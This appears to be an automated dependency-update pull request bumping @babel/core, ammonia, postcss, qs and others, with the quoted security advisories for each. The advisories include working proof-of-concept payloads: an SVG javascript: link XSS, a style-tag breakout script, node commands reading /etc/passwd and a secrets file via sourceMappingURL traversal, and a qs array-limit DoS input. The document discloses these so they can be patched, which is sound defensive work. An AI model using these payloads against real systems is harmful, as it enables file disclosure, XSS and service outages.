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ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence Type Update
@babel/core (source) 7.29.07.29.6 age confidence devDependencies patch
ammonia 4.1.34.1.4 age confidence dependencies patch
postcss (source) 8.5.88.5.23 age confidence devDependencies patch
qs 6.15.36.16.0 age confidence dependencies minor
react-router-dom (source) 6.30.46.30.6 age confidence dependencies patch
vite (source) 7.3.17.3.5 age confidence devDependencies patch
vitest (source) 4.0.184.1.11 age confidence devDependencies minor
webauthn-authenticator-rs 0.5.40.5.5 age confidence dev-dependencies patch
webauthn-authenticator-rs 0.5.40.5.5 age confidence workspace.dependencies patch

@​babel/core: Arbitrary File Read via sourceMappingURL Comment

CVE-2026-49356 / GHSA-4x5r-pxfx-6jf8

More information

Details

Impact

Using @babel/core to compile maliciously crafted code can allow ab attacker to read any source map from the system that is running Babel, if these conditions are all true:

  • the attacker controls the input source code
  • the attacker can read the output source code
  • the attacker knows the path of the source map file that they want to read

Users that only compile trusted code are not impacted.

Patches

The vulnerability has been fixed in @babel/core@7.29.6 and @babel/core@8.0.0-rc.6.

Workarounds

Callers can mitigate the issue without upgrading by setting inputSourceMap: false in their Babel options.

Callers can also manually extract the #sourceMappingURL comment from the input source code, validate whether the source map that it links to is allowed to be read, and if it is pass an object to inputSourceMap (passing false when it's not).

Credits

Thanks Teodor-Cristian Radoi for reporting the vulnerability.

Severity

  • CVSS Score: 3.2 / 10 (Low)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


XSS in ammonia via SVG animate and set animation tags

GHSA-m6mh-2hw2-555x / RUSTSEC-2026-0213

More information

Details

The following SVG will produce a link with a javascript scheme.
If the user clicks this link, they will run it.

<svg xmlns="http://www.w3.org/2000/svg">
  <a>
    <set attributeName="href" to="javascript:alert('SET_XSS')"></set>
    <text y="30">Click set</text>
  </a>
</svg>

Ammonia did not apply attribute filters based on attributeName,
so the contents of the to, from, and values tags were not sanitized as URLs.

Applications that do not explicitly allow either of these tags should not be affected,
since neither are allowed by default.


Discovered by: Younghun Ko (@​koyokr)

Severity

Unknown

References

This data is provided by OSV and the Rust Advisory Database (CC0 1.0).


PostCSS: Path Traversal in Previous Source Map Auto-Loading (sourceMappingURL) leads to Arbitrary .map File Disclosure

CVE-2026-73646 / GHSA-r28c-9q8g-f849

More information

Details

Vulnerability Details

File: lib/previous-map.js
Line: 87-98 (loadFile), 129-144 (loadMap)

Root Cause

PostCSS auto-detects a /*# sourceMappingURL=... */ comment inside the CSS text it is asked to parse and, unless the caller explicitly passes map: false, attempts to load that path from disk as a "previous source map." This happens on every postcss.parse() / postcss().process() call by default (opt-out, not opt-in).

loadMap() builds the candidate path via join(dirname(opts.from), annotation), where annotation is the raw, attacker-controlled string from the CSS comment. path.join() normalizes but does not sandbox .. segments, so a ../../../ prefix walks the resolved path outside the intended directory. If opts.from is not set at all, the annotation is used completely unmodified — an absolute path in the CSS comment is read verbatim.

8.5.12 already fixed a strictly worse variant of this (any file, any extension, could be read) by requiring the resolved path to end in .map (loadFile()). That fix did not address the traversal itself, only the target extension. Since the join(dirname(file), map) logic has existed unchanged since PostCSS 8.0.0 (Feb 2020), any file ending in .map remains readable through this path in the current release (8.5.16).

Once loaded, MapGenerator.isMap() treats the mere presence of a loaded "previous map" as an implicit request to generate result.map, even when the caller never set the map option. If the loaded map has a sourcesContent field (common for maps emitted by bundlers/transpilers), that content is merged into result.map and returned to the caller — disclosing the traversed-to file's content to whoever supplied the CSS.

Attack Scenario
  1. A service accepts user-submitted CSS and runs it through PostCSS to lint/format/transform it, e.g. postcss().process(userCss, { from: '/app/uploads/user123/input.css', to: '/app/uploads/user123/output.css' }) — idiomatic usage; map option untouched.
  2. Attacker submits CSS containing /*# sourceMappingURL=../../../../some/other/app/dist/bundle.js.map */ (or an absolute path if from is unset).
  3. PostCSS reads that .map file and folds its sourcesContent into result.map.
  4. The service does what most build pipelines do with a truthy result.map — writes it next to the CSS output or returns it via API (source maps are meant to be consumed by browser devtools, so this is commonly public/served).
  5. Attacker retrieves the emitted map and reads out the traversed file's content.
Impact

Disclosure of the contents of arbitrary .map files reachable via path traversal (or absolute path when from is unset) from the process's filesystem. Affects any application processing CSS it does not fully trust without explicitly passing map: false. No authentication or user interaction beyond submitting CSS text is required.

Vulnerable Code
loadFile(path, cssFile, trusted) {
  if (!trusted && !this.unsafeMap) {
    if (!/\.map$/i.test(path)) {
      return undefined
    }
  }
  this.root = dirname(path)
  if (existsSync(path)) {
    this.mapFile = path
    return readFileSync(path, 'utf-8').toString().trim()
  }
}

loadMap(file, prev) {
  ...
  } else if (this.annotation) {
    let map = this.annotation
    if (file) map = join(dirname(file), map)
    let unknown = this.loadFile(map, file, false)
    ...
  }
}
Recommended Fix

Constrain the resolved path to remain inside the CSS file's own directory instead of relying solely on a filename-extension check:

loadFile(path, cssFile, trusted) {
  if (!trusted && !this.unsafeMap) {
    if (!/\.map$/i.test(path)) {
      return undefined
    }
    if (!cssFile) return undefined
    let root = resolve(dirname(cssFile))
    let resolvedPath = resolve(root, path)
    if (resolvedPath !== root && !resolvedPath.startsWith(root + sep)) {
      return undefined
    }
  }
  this.root = dirname(path)
  if (existsSync(path)) {
    this.mapFile = path
    return readFileSync(path, 'utf-8').toString().trim()
  }
}

I've implemented, tested (full existing test suite — 660/660 passing, plus new PoC-based regression checks for both the traversal and legitimate same-directory cases), and can share this fix on request or via a private fork if invited.

Verification

Dynamically confirmed on v8.5.16 (current npm release / repo HEAD) via a standalone Node.js harness against lib/postcss.js: a "secret" .map file placed two directories outside a simulated project directory was read via a crafted sourceMappingURL comment in otherwise-innocuous CSS, with its sourcesContent appearing verbatim in result.map.toString() — with no map option set by the caller. A second harness confirmed the simpler no-from case reads an absolute path directly. A third harness confirmed map: false is the only current workaround. The attached fix branch closes both vectors while keeping all 660 existing unit tests green.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PostCSS: incomplete fix of GHSA-6g55-p6wh-862q — attacker-controlled sourceMappingURL reads arbitrary .map files when from is unset

CVE-2026-69153 / GHSA-fxqj-rqcc-2cmp

More information

Details

Summary

The fix for GHSA-6g55-p6wh-862q added a guard in lib/previous-map.js PreviousMap.loadFile() that restricts an attacker-controlled sourceMappingURL (from a CSS comment) to a .map extension and, for untrusted maps, rejects .. traversal and absolute paths. The traversal/absolute rejection is nested inside if (cssFile) { ... }. When PostCSS is invoked without the from option, cssFile is falsy and that branch is skipped, leaving only the .map extension check.

PreviousMap is constructed by lib/input.js whenever pathAvailable && sourceMapAvailable (under Node with source-map available), independent of opts.from/opts.map (the constructor returns early only for opts.map === false). So postcss([]).process(css) on attacker CSS reaches loadFile with cssFile undefined, and an attacker /*# sourceMappingURL=/abs/path/x.map */ (or ../-traversing path) is read via readFileSync. When the file is valid JSON, its sources (filesystem paths) and sourcesContent (source contents) are disclosed in the generated source map.

Affected code (v8.5.22 — the release carrying the GHSA-6g55 fix)
// lib/previous-map.js
loadFile(path, cssFile, trusted) {
  if (!trusted && !this.unsafeMap) {
    if (!/\.map$/i.test(path)) {
      return undefined
    }
    if (cssFile) {                       // guard runs ONLY when `from` is set
      let relativePath = relative(dirname(cssFile), path)
      if (relativePath === '..' ||
          relativePath.startsWith('..' + sep) ||
          isAbsolute(relativePath)) {
        return undefined
      }
    }
  }
  this.root = dirname(path)
  if (existsSync(path)) {
    this.mapFile = path
    return readFileSync(path, 'utf-8').toString().trim()   // sink
  }
}

// loadMap(): untrusted annotation path, trusted=false; file === opts.from
} else if (this.annotation) {
  let map = this.annotation
  if (file) map = join(dirname(file), map)   // no `from` -> map stays the raw URL
  let unknown = this.loadFile(map, file, false)  // file undefined -> cssFile falsy
Proof of concept (verified on postcss 8.5.22)
const postcss = require('postcss')
const fs = require('fs')

// a 'secret' sourcemap OUTSIDE any expected tree (stand-in for another project's .map)
const secret = '/tmp/pcpoc/secret_out_of_tree.map'
fs.writeFileSync(secret, JSON.stringify({
  version: 3, sources: ['/etc/REAL_PATH_LEAK'], mappings: '', names: [],
  sourcesContent: ['TOP_SECRET_abcdef']
}))

const css = 'a{color:red}\n/*# sourceMappingURL=' + secret + ' */'
const leaks = m => m && JSON.stringify(m.toJSON ? m.toJSON() : m).includes('TOP_SECRET_abcdef')

;(async () => {
  // A) NO `from`  -> guard skipped -> arbitrary absolute .map read + disclosed
  const a = await postcss([]).process(css, { map: true })
  console.log('no from   -> leaked:', !!leaks(a.map))   // true

  // B) WITH `from` -> guard active -> blocked
  const b = await postcss([]).process(css, { from: '/tmp/pcpoc/in.css', map: true })
  console.log('with from -> leaked:', !!leaks(b.map))    // false
})()

Observed output on postcss 8.5.22:

no from   -> leaked: true      # sourcesContent 'TOP_SECRET_abcdef' AND sources '/etc/REAL_PATH_LEAK' appear in result.map
with from -> leaked: false     # guard rejects the absolute path

../ traversal (no from) also succeeds; non-.map targets (.txt, ?x=.map, #.map) are blocked by the .map check. The tested build contains the GHSA-6g55 fix (this.json = JSON.parse(...) in loadMap, consumer() uses this.json || this.text), so this is a residual of that fix.

Impact

Arbitrary .map-file read (absolute path or ../ traversal) and disclosure of the target map's sources (local filesystem paths) and sourcesContent (source) into the generated source map, for any consumer that runs PostCSS on attacker-influenced CSS without a from option and exposes result.map (online CSS playgrounds, minify/lint services, string-input build steps). Bounded to files ending in .map that parse as JSON.

Suggested fix

Apply the traversal/absolute-path rejection to the untrusted map path regardless of whether cssFile is present (resolve against process.cwd() when there is no cssFile, and reject absolute paths and .. escape in all untrusted cases), or refuse to load an untrusted external map when no base file is known.

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PostCSS has XSS via Unescaped </style> in its CSS Stringify Output

CVE-2026-41305 / GHSA-qx2v-qp2m-jg93

More information

Details

PostCSS: XSS via Unescaped </style> in CSS Stringify Output
Summary

PostCSS v8.5.5 (latest) does not escape </style> sequences when stringifying CSS ASTs. When user-submitted CSS is parsed and re-stringified for embedding in HTML <style> tags, </style> in CSS values breaks out of the style context, enabling XSS.

Proof of Concept
const postcss = require('postcss');

// Parse user CSS and re-stringify for page embedding
const userCSS = 'body { content: "</style><script>alert(1)</script><style>"; }';
const ast = postcss.parse(userCSS);
const output = ast.toResult().css;
const html = `<style>${output}</style>`;

console.log(html);
// <style>body { content: "</style><script>alert(1)</script><style>"; }</style>
//
// Browser: </style> closes the style tag, <script> executes

Tested output (Node.js v22, postcss v8.5.5):

Input: body { content: "</style><script>alert(1)</script><style>"; }
Output: body { content: "</style><script>alert(1)</script><style>"; }
Contains </style>: true
Impact

Impact non-bundler use cases since bundlers for XSS on their own. Requires some PostCSS plugin to have malware code, which can inject XSS to website.

Suggested Fix

Escape </style in all stringified output values:

output = output.replace(/<\/(style)/gi, '<\\/$1');
Credits

Discovered and reported by Sunil Kumar (@​TharVid)

Severity

  • CVSS Score: 6.1 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


PostCSS: Arbitrary file read and information disclosure via attacker-controlled sourceMappingURL in CSS comments

CVE-2026-45623 / GHSA-6g55-p6wh-862q

More information

Details

Summary

PostCSS's PreviousMap parses the /*# sourceMappingURL=PATH */ comment from any CSS string passed to process() and dereferences PATH against the local filesystem with no scheme, allowlist, or traversal check. An attacker who controls the CSS input can cause the host process to read any file readable by Node and leak the first ~10 bytes of its content through the resulting JSON.parse SyntaxError message. The bug also yields a precise file-existence oracle and a controllable-read primitive that may be combined with large-file targets for DoS. The behaviour is triggered with PostCSS's default options — no from, no map, no plugins required — and is therefore reachable from any pipeline that runs untrusted CSS through PostCSS (CMS themes, user-uploaded styles, browser-extension/userstyle processors, build pipelines for third-party packages, blog comment renderers, etc.).

Details

The dangerous chain lives in lib/previous-map.js and is wired into every Input construction at lib/input.js:70-77.

Input constructor (lib/input.js:70-77):

if (pathAvailable && sourceMapAvailable) {
  let map = new PreviousMap(this.css, opts)
  if (map.text) {
    this.map = map
    let file = map.consumer().file
    if (!this.file && file) this.file = this.mapResolve(file)
  }
}

PreviousMap constructor (lib/previous-map.js:17-29):

constructor(css, opts) {
  if (opts.map === false) return
  this.loadAnnotation(css)
  this.inline = this.startWith(this.annotation, 'data:')

  let prev = opts.map ? opts.map.prev : undefined
  let text = this.loadMap(opts.from, prev)
  ...
}

Note opts.map === false is the only short-circuit. With default options (opts.map === undefined), the rest of the constructor — including the filesystem read — executes.

loadAnnotation (lib/previous-map.js:72-84) extracts the URL without sanitisation:

loadAnnotation(css) {
  let comments = css.match(/\/\*\s*# sourceMappingURL=/g)
  if (!comments) return
  let start = css.lastIndexOf(comments.pop())
  let end = css.indexOf('*/', start)
  if (start > -1 && end > -1) {
    this.annotation = this.getAnnotationURL(css.substring(start, end))
  }
}

getAnnotationURL (lib/previous-map.js:59-61) only strips the /*# sourceMappingURL= prefix and trims whitespace — no scheme check, no path normalisation, no allowlist.

loadMap (lib/previous-map.js:124-128) — when prev is absent and the annotation is not an inline data: URI:

} else if (this.annotation) {
  let map = this.annotation
  if (file) map = join(dirname(file), map)
  return this.loadFile(map)
}
  • If opts.from is unset, file is undefined and the raw attacker-supplied path (e.g. /etc/passwd) is used directly.
  • If opts.from is set, path.join(dirname(file), attackerPath) is used. path.join does not block .. segments, so ../../../../../etc/passwd resolves outside the intended directory.

loadFile (lib/previous-map.js:86-92) is the sink:

loadFile(path) {
  this.root = dirname(path)
  if (existsSync(path)) {
    this.mapFile = path
    return readFileSync(path, 'utf-8').toString().trim()
  }
}

The bytes are stored in this.text. Input immediately invokes map.consumer() (lib/input.js:74), which constructs a SourceMapConsumer (lib/previous-map.js:33). When the file is not valid source-map JSON (the common case), source-map-js calls JSON.parse, and V8's SyntaxError message embeds the first ~10 bytes of the file content:

Unexpected token 'r', "root:x:0:0"... is not valid JSON

This error is propagated back to the caller. Any application that surfaces PostCSS errors (logs, HTTP 500 responses, build-tool output, debug pages) discloses those bytes to the attacker.

Trust-boundary analysis:

  • Attacker controls: CSS input passed to postcss().process(css, opts?).
  • Server resources: any file readable by the Node process — typically including app config, environment files, SSH keys, /etc/passwd, /proc/self/environ, etc.
  • No mitigations: there is no path validation, scheme allowlist, traversal check, or symlink check. The only relevant check (startWith(annotation, 'data:')) routes inline URIs to decodeInline; everything else hits loadFile.

Primitives obtained:

  • (a) Arbitrary file read — bytes loaded into Node memory.
  • (b) Information disclosure — first ~10 bytes leaked via JSON.parse SyntaxError message.
  • (c) File-existence oracle — non-existent paths return silently from loadFile (existsSync is false → returns undefined → no map text → no consumer call → no error). Existent non-JSON paths throw. Existent JSON paths succeed silently. Three distinguishable states.
  • (d) DoS primitive — directing the read at /dev/zero, very large files, or device files can stall or crash the process.
PoC

All commands executed against this repository's HEAD (postcss 8.5.10) on Node v22.12.0.

Vector 1 — Absolute path, default options (no from, no map):

$ node -e 'const p=require("postcss"); \
  try { p().process("a{color:red}\n/*# sourceMappingURL=/etc/passwd */"); } \
  catch(e){console.log(e.message)}'
Unexpected token 'r', "root:x:0:0"... is not valid JSON

The first 10 bytes of /etc/passwd (root:x:0:0) are leaked.

Vector 2 — Relative .. traversal with opts.from set (simulates a build pipeline that pins from to the source file):

$ node -e 'const p=require("postcss"); \
  p().process("a{color:red}\n/*# sourceMappingURL=../../../../../etc/passwd */", \
              {from:"/var/www/html/styles/main.css", map:{inline:false}}) \
   .catch(e=>console.log(e.message))'
Unexpected token 'r', "root:x:0:0"... is not valid JSON

path.join('/var/www/html/styles', '../../../../../etc/passwd') resolves to /etc/passwd.

Vector 3 — File-existence oracle:

##### Existing non-JSON file → throws (file confirmed to exist)
$ node -e 'require("postcss")().process("a{}\n/*# sourceMappingURL=/etc/passwd */")'
SyntaxError: Unexpected token 'r', "root:x:0:0"... is not valid JSON

##### Non-existent file → returns silently (file confirmed absent)
$ node -e 'r=require("postcss")().process("a{}\n/*# sourceMappingURL=/no/such/file */"); console.log("ok")'
ok

Vector 4 — Custom file-content leak:

$ printf 'API_KEY=sk-secret-12345\n' > /tmp/server-secret.env
$ node -e 'require("postcss")().process("a{}\n/*# sourceMappingURL=/tmp/server-secret.env */")' 2>&1 | head -1
SyntaxError: Unexpected token 'A', "API_KEY=sk"... is not valid JSON

The first 10 bytes of /tmp/server-secret.env (API_KEY=sk) are leaked — sufficient to confirm a token's presence and, in many cases, recover its prefix.

Filesystem-call trace (proves the read happens with no opts at all):

const fs = require('fs');
const orig = fs.readFileSync;
fs.readFileSync = function(p){
  if (typeof p==='string' && p.startsWith('/etc')) console.log('[FILE READ]:', p);
  return orig.apply(this, arguments);
};
require('postcss')().process('a{}\n/*# sourceMappingURL=/etc/hostname */');
// → [FILE READ]: /etc/hostname
// → SyntaxError: Unexpected token 'D', "Debian-tri"... is not valid JSON
Impact
  • Arbitrary file read of any file readable by the Node process from any CSS-processing context that accepts attacker-influenced CSS. PostCSS has hundreds of millions of weekly npm downloads and is the standard CSS processor for build tools (webpack postcss-loader, vite, parcel, Next.js, Gatsby, etc.) and for runtime CSS-handling libraries (CSS Modules tools, CSS minifiers, theme processors). Any pipeline that runs untrusted user CSS — CMS theme uploads, user-styled blog posts, browser-extension/userstyle services, multi-tenant build farms, third-party-package build pipelines — is exposed.
  • Confidentiality leak of the first ~10 bytes of the targeted file via JSON.parse SyntaxError. This is enough to recover SSH-key headers, environment-variable prefixes (API_KEY=sk…), /etc/passwd records, the start of /proc/self/environ, and other high-value secrets, and to fingerprint the host (Debian-tri… from /etc/hostname).
  • File-existence oracle with three distinguishable response states (silent success, JSON.parse error, no-such-file silence), enabling reconnaissance of the host filesystem layout and confirmation of installed software, user accounts, and configuration files.
  • DoS by targeting /dev/zero, /proc/kcore, very large files, or named pipes — readFileSync is a synchronous, unbounded read.
  • Default-on: triggered with postcss().process(css) and no options. The only configuration that disables the bug is the explicit, undocumented-for-this-purpose { map: false }.
Recommended Fix

The root cause is that loadFile accepts any path the attacker supplies inside a CSS comment. The annotation is meant for tooling, not for production CSS processing of untrusted input. Two layered fixes:

  1. Refuse traversal/absolute paths in loadMap (defence-in-depth):

    // lib/previous-map.js
    loadMap(file, prev) {
      if (prev === false) return false
      if (prev) { /* unchanged */ }
      else if (this.inline) {
        return this.decodeInline(this.annotation)
      } else if (this.annotation) {
        let annotation = this.annotation
        // Reject schemes (other than data:, handled above) and absolute paths.
        if (/^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(annotation)) return
        if (require('path').isAbsolute(annotation)) return
        if (!file) return  // No base path → cannot safely resolve.
        const base = require('path').resolve(require('path').dirname(file))
        const resolved = require('path').resolve(base, annotation)
        // Refuse anything that escapes the base directory.
        if (resolved !== base && !resolved.startsWith(base + require('path').sep)) {
          return
        }
        return this.loadFile(resolved)
      }
    }
  2. Require explicit opt-in to follow on-disk source-map annotations: gate the loadFile(map) call in loadMap behind an option such as opts.map.annotation === true or opts.map.followAnnotation === true. Today, the only way to opt out is { map: false }, which also disables in-memory previous-map handling. Inverting the default — only follow disk-resident annotations when explicitly asked — eliminates the entire attack surface for callers that pass untrusted CSS, while preserving build-tool use cases where the annotation is trusted.

A user-facing changelog entry should warn that postcss().process(untrustedCss) previously read attacker-controlled paths, and recommend auditing applications that surfaced PostCSS errors to end users.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


PostCSS: Path Traversal in Previous Source Map Auto-Loading (sourceMappingURL) leads to Arbitrary .map File Disclosure

CVE-2026-73646 / GHSA-r28c-9q8g-f849

More information

Details

Vulnerability Details

File: lib/previous-map.js
Line: 87-98 (loadFile), 129-144 (loadMap)

Root Cause

PostCSS auto-detects a /*# sourceMappingURL=... */ comment inside the CSS text it is asked to parse and, unless the caller explicitly passes map: false, attempts to load that path from disk as a "previous source map." This happens on every postcss.parse() / postcss().process() call by default (opt-out, not opt-in).

loadMap() builds the candidate path via join(dirname(opts.from), annotation), where annotation is the raw, attacker-controlled string from the CSS comment. path.join() normalizes but does not sandbox .. segments, so a ../../../ prefix walks the resolved path outside the intended directory. If opts.from is not set at all, the annotation is used completely unmodified — an absolute path in the CSS comment is read verbatim.

8.5.12 already fixed a strictly worse variant of this (any file, any extension, could be read) by requiring the resolved path to end in .map (loadFile()). That fix did not address the traversal itself, only the target extension. Since the join(dirname(file), map) logic has existed unchanged since PostCSS 8.0.0 (Feb 2020), any file ending in .map remains readable through this path in the current release (8.5.16).

Once loaded, MapGenerator.isMap() treats the mere presence of a loaded "previous map" as an implicit request to generate result.map, even when the caller never set the map option. If the loaded map has a sourcesContent field (common for maps emitted by bundlers/transpilers), that content is merged into result.map and returned to the caller — disclosing the traversed-to file's content to whoever supplied the CSS.

Attack Scenario
  1. A service accepts user-submitted CSS and runs it through PostCSS to lint/format/transform it, e.g. postcss().process(userCss, { from: '/app/uploads/user123/input.css', to: '/app/uploads/user123/output.css' }) — idiomatic usage; map option untouched.
  2. Attacker submits CSS containing /*# sourceMappingURL=../../../../some/other/app/dist/bundle.js.map */ (or an absolute path if from is unset).
  3. PostCSS reads that .map file and folds its sourcesContent into result.map.
  4. The service does what most build pipelines do with a truthy result.map — writes it next to the CSS output or returns it via API (source maps are meant to be consumed by browser devtools, so this is commonly public/served).
  5. Attacker retrieves the emitted map and reads out the traversed file's content.
Impact

Disclosure of the contents of arbitrary .map files reachable via path traversal (or absolute path when from is unset) from the process's filesystem. Affects any application processing CSS it does not fully trust without explicitly passing map: false. No authentication or user interaction beyond submitting CSS text is required.

Vulnerable Code
loadFile(path, cssFile, trusted) {
  if (!trusted && !this.unsafeMap) {
    if (!/\.map$/i.test(path)) {
      return undefined
    }
  }
  this.root = dirname(path)
  if (existsSync(path)) {
    this.mapFile = path
    return readFileSync(path, 'utf-8').toString().trim()
  }
}

loadMap(file, prev) {
  ...
  } else if (this.annotation) {
    let map = this.annotation
    if (file) map = join(dirname(file), map)
    let unknown = this.loadFile(map, file, false)
    ...
  }
}
Recommended Fix

Constrain the resolved path to remain inside the CSS file's own directory instead of relying solely on a filename-extension check:

loadFile(path, cssFile, trusted) {
  if (!trusted && !this.unsafeMap) {
    if (!/\.map$/i.test(path)) {
      return undefined
    }
    if (!cssFile) return undefined
    let root = resolve(dirname(cssFile))
    let resolvedPath = resolve(root, path)
    if (resolvedPath !== root && !resolvedPath.startsWith(root + sep)) {
      return undefined
    }
  }
  this.root = dirname(path)
  if (existsSync(path)) {
    this.mapFile = path
    return readFileSync(path, 'utf-8').toString().trim()
  }
}

I've implemented, tested (full existing test suite — 660/660 passing, plus new PoC-based regression checks for both the traversal and legitimate same-directory cases), and can share this fix on request or via a private fork if invited.

Verification

Dynamically confirmed on v8.5.16 (current npm release / repo HEAD) via a standalone Node.js harness against lib/postcss.js: a "secret" .map file placed two directories outside a simulated project directory was read via a crafted sourceMappingURL comment in otherwise-innocuous CSS, with its sourcesContent appearing verbatim in result.map.toString() — with no map option set by the caller. A second harness confirmed the simpler no-from case reads an absolute path directly. A third harness confirmed map: false is the only current workaround. The attached fix branch closes both vectors while keeping all 660 existing unit tests green.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


PostCSS: incomplete fix of GHSA-6g55-p6wh-862q — attacker-controlled sourceMappingURL reads arbitrary .map files when from is unset

CVE-2026-69153 / GHSA-fxqj-rqcc-2cmp

More information

Details

Summary

The fix for GHSA-6g55-p6wh-862q added a guard in lib/previous-map.js PreviousMap.loadFile() that restricts an attacker-controlled sourceMappingURL (from a CSS comment) to a .map extension and, for untrusted maps, rejects .. traversal and absolute paths. The traversal/absolute rejection is nested inside if (cssFile) { ... }. When PostCSS is invoked without the from option, cssFile is falsy and that branch is skipped, leaving only the .map extension check.

PreviousMap is constructed by lib/input.js whenever pathAvailable && sourceMapAvailable (under Node with source-map available), independent of opts.from/opts.map (the constructor returns early only for opts.map === false). So postcss([]).process(css) on attacker CSS reaches loadFile with cssFile undefined, and an attacker /*# sourceMappingURL=/abs/path/x.map */ (or ../-traversing path) is read via readFileSync. When the file is valid JSON, its sources (filesystem paths) and sourcesContent (source contents) are disclosed in the generated source map.

Affected code (v8.5.22 — the release carrying the GHSA-6g55 fix)
// lib/previous-map.js
loadFile(path, cssFile, trusted) {
  if (!trusted && !this.unsafeMap) {
    if (!/\.map$/i.test(path)) {
      return undefined
    }
    if (cssFile) {                       // guard runs ONLY when `from` is set
      let relativePath = relative(dirname(cssFile), path)
      if (relativePath === '..' ||
          relativePath.startsWith('..' + sep) ||
          isAbsolute(relativePath)) {
        return undefined
      }
    }
  }
  this.root = dirname(path)
  if (existsSync(path)) {
    this.mapFile = path
    return readFileSync(path, 'utf-8').toString().trim()   // sink
  }
}

// loadMap(): untrusted annotation path, trusted=false; file === opts.from
} else if (this.annotation) {
  let map = this.annotation
  if (file) map = join(dirname(file), map)   // no `from` -> map stays the raw URL
  let unknown = this.loadFile(map, file, false)  // file undefined -> cssFile falsy
Proof of concept (verified on postcss 8.5.22)
const postcss = require('postcss')
const fs = require('fs')

// a 'secret' sourcemap OUTSIDE any expected tree (stand-in for another project's .map)
const secret = '/tmp/pcpoc/secret_out_of_tree.map'
fs.writeFileSync(secret, JSON.stringify({
  version: 3, sources: ['/etc/REAL_PATH_LEAK'], mappings: '', names: [],
  sourcesContent: ['TOP_SECRET_abcdef']
}))

const css = 'a{color:red}\n/*# sourceMappingURL=' + secret + ' */'
const leaks = m => m && JSON.stringify(m.toJSON ? m.toJSON() : m).includes('TOP_SECRET_abcdef')

;(async () => {
  // A) NO `from`  -> guard skipped -> arbitrary absolute .map read + disclosed
  const a = await postcss([]).process(css, { map: true })
  console.log('no from   -> leaked:', !!leaks(a.map))   // true

  // B) WITH `from` -> guard active -> blocked
  const b = await postcss([]).process(css, { from: '/tmp/pcpoc/in.css', map: true })
  console.log('with from -> leaked:', !!leaks(b.map))    // false
})()

Observed output on postcss 8.5.22:

no from   -> leaked: true      # sourcesContent 'TOP_SECRET_abcdef' AND sources '/etc/REAL_PATH_LEAK' appear in result.map
with from -> leaked: false     # guard rejects the absolute path

../ traversal (no from) also succeeds; non-.map targets (.txt, ?x=.map, #.map) are blocked by the .map check. The tested build contains the GHSA-6g55 fix (this.json = JSON.parse(...) in loadMap, consumer() uses this.json || this.text), so this is a residual of that fix.

Impact

Arbitrary .map-file read (absolute path or ../ traversal) and disclosure of the target map's sources (local filesystem paths) and sourcesContent (source) into the generated source map, for any consumer that runs PostCSS on attacker-influenced CSS without a from option and exposes result.map (online CSS playgrounds, minify/lint services, string-input build steps). Bounded to files ending in .map that parse as JSON.

Suggested fix

Apply the traversal/absolute-path rejection to the untrusted map path regardless of whether cssFile is present (resolve against process.cwd() when there is no cssFile, and reject absolute paths and .. escape in all untrusted cases), or refuse to load an untrusted external map when no base file is known.

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


qs array-limit bypass via bracket-key comma parsing

CVE-2026-82562 / GHSA-x5fp-wj9c-mxmx

More information

Details

Summary

qs v6.15.3 allows bracket-key input to bypass arrayLimit and throwOnLimitExceeded when comma: true. The input a[]=1,2,3,4 succeeds with arrayLimit: 3, while the equivalent plain-key input is rejected.

Affected version tested:

qs v6.15.3
commit 18d085e919dae70c8f1b200ab99323058edab2c2
Details

parseArrayValue() enforces the comma limit only for flat values. The a[] form is marked non-flat, so its comma-separated value is wrapped after parsing and the inner array is not checked. A single parameter can therefore materialize arbitrarily large arrays.

PoC
const qs = require('qs')
const options = { comma: true, arrayLimit: 3, throwOnLimitExceeded: true }

const result = qs.parse('a[]=1,2,3,4', options)
console.log(result.a[0].length) // 4; expected RangeError

const big = qs.parse('a[]=' + '1,'.repeat(1000000) + '1', { comma: true, arrayLimit: 20 })
console.log(big.a[0].length) // 1000001

On v6.15.3, the first input parses successfully and the second creates an array with 1,000,001 elements. The equivalent a=1,2,3,4 input throws RangeError as expected.

Impact

An attacker who can supply a query string or form body can bypass configured array limits and force excessive memory allocation, causing denial of service. The limit must be applied after comma splitting and before the resulting array is wrapped.

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


qs: Denial of Service via Attacker Controlled isBuffer

CVE-2026-82417 / GHSA-4mjr-xmp4-gh2g

More information

Details

Summary

qs.stringify() calls utils.isBuffer() on every value it serializes, and utils.isBuffer() invokes obj.constructor.isBuffer(obj) without checking that it is callable. A value whose own constructor.isBuffer is a non-function makes qs call a non-callable and throw TypeError. Such a value is produced by qs.parse itself from an untrusted query string when plainObjects: true or allowPrototypes: true is set, so a pure-qs parsestringify round-trip — no JSON.parse — turns an unauthenticated query string into an uncaught throw.

